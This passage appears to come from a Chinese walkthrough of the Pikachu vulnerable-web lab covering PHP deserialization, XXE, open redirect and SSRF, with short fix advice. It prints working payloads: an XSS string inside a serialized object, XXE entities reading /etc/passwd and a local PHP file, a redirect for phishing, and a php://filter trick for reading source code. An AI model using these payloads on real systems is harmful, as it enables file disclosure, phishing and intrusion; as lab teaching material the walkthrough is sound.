 Options -Indexes
</Files>

再次访问:

1571039667203

十一、PHP反序列化

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值
    

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
    

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

        常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

这里直接上payload

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

1571040430810

看下源代码:

$html='';

if(isset($_POST['o'])){

$s = $_POST['o'];

if(!@$unser = unserialize($s)){

$html.="<p>大兄弟,来点劲爆点儿的!</p>";

}else{

$html.="<p>{$unser->test}</p>";

}

反序列成功的话,输出user类里面的test变量到页面上。

十二、XXE

XXE -"xml external entity injection" 既"xml外部实体注入漏洞"。 概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题" 也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。 具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。 现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。 以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的

1、XML语法结构

第一部分:XML声明部分
<?xml version="1.0"?>

第二部分:文档类型定义 DTD
<!DOCTYPE note[ 
<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]>

第三部分:文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

其中,DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。

① 内部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>

② 外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">

③ 引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">

外部实体引用 Payload

<?xml version="1.0"?>

<!DOCTYPE ANY[ 
<!ENTITY f SYSTEM "file:///etc/passwd">
]>

<x>&f;</x>

2、测试

提交一个正常的xml数据

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY a "test">
]>
<name>&a;</name>

定义的实体内容被打印到前端

1571126873194

如果我们提交下面这样的payload,就能看到服务器上的文件内容

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///F://1.php">
]>
<x>&f;</x>

1571127350841

3、源代码

PHP中有一个函数 simplexml_load_string() 将形式良好的 xml 字符串转换为 SimpleXMLElement 对象

在PHP里面解析xml用的是libxml,其在 ≥2.9.0 的版本中,默认是禁止解析xml外部实体内容的。

考虑到目前很多版本里面libxml的版本都>=2.9.0了,Pikachu平台手动指定 LIBXML_NOENT 选项开启了xml外部实体解析。

1571127435295

十三、url重定向

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。 如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话 就可能发生"跳错对象"的问题。 url跳转比较直接的危害是: -->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

打开测试页面,发现如下内容,依次点击诗句的链接

1571121055019

发现最后的url链接为http://192.168.163.1/vul/urlredirect/urlredirect.php?url=i

修改url参数值:http://192.168.163.1/vul/urlredirect/urlredirect.php?url=http://www.baidu.com

发现页面跳转到百度。

1571121214674

如果我们把这个url改成自己设置的恶意网站,前面设置成别的有名的网站,让被攻击者降低戒心,然后就钓鱼成功了 后台的代码是这样的,在做代码时我们应该对这个跳转的url做一个白名单限制或者是关键字限制

1571121440348

十四、SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

​ 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
            

​ 如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,。

1、ssrf(curl)

测试页面点击累了吧,来读一首诗吧。链接的url参数也是一条链接,返回的是一首诗的内容,这里很可能是对参数的url链接进行请求。

1571122701135

修改参数,访问百度:

1571121991121

curl 模拟浏览器请求的,比如获取获取远程的网页,文件等,虽然可以使用file_get_contents函数 但是 curl支持cookie 自定义浏览器类型,来源 ip等等。

1571122033033

2、ssrf(file_get_contents)

这里使file_get_contents函数,不经可以访问http链接,还可以通过利用php伪协议读取文件的源码,php://filter/read=convert.base64-encode/resource=ssrf.php

1571123215159

1571123283549

base64解码:

1571123452966

源码如下:

1571123306618

3、ssrf修复:

1.白名单 2.对返回内容进行识别 3.需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用 CURLOPT_FOLLOWLOCATION;然后通过域名获取目标ip,并过滤内部ip;最后识别返回的内容是否与假定内容一致 如果curl爬取过程中,设置CURLOPT_FOLLOWLOCATION为true,则会跟踪爬取重定向页面,否则,不会跟踪重定向页面